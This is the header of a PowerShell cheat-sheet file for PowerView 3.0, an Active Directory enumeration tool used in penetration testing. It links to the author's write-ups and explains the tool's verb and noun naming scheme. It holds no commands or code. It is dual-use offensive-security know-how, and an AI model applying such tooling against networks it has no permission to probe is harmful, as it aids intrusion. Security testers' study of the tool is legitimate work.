PowerView-3.0-tricks.ps1

# PowerView's last major overhaul is detailed here: http://www.harmj0y.net/blog/powershell/make-powerview-great-again/
#   tricks for the 'old' PowerView are at https://gist.github.com/HarmJ0y/3328d954607d71362e3c

# New function naming schema:
#   Verbs:
#       Get : retrieve full raw data sets
#       Find : ‘find’ specific data entries in a data set
#       Add : add a new object to a destination
#       Set : modify a given object
#       Invoke : lazy catch-all
#   Nouns:
#       Verb-Domain* : indicates that LDAP/.NET querying methods are being executed
#       Verb-WMI* : indicates that WMI is being used under the hood to execute enumeration
#       Verb-Net* : indicates that Win32 API access is being used under the hood
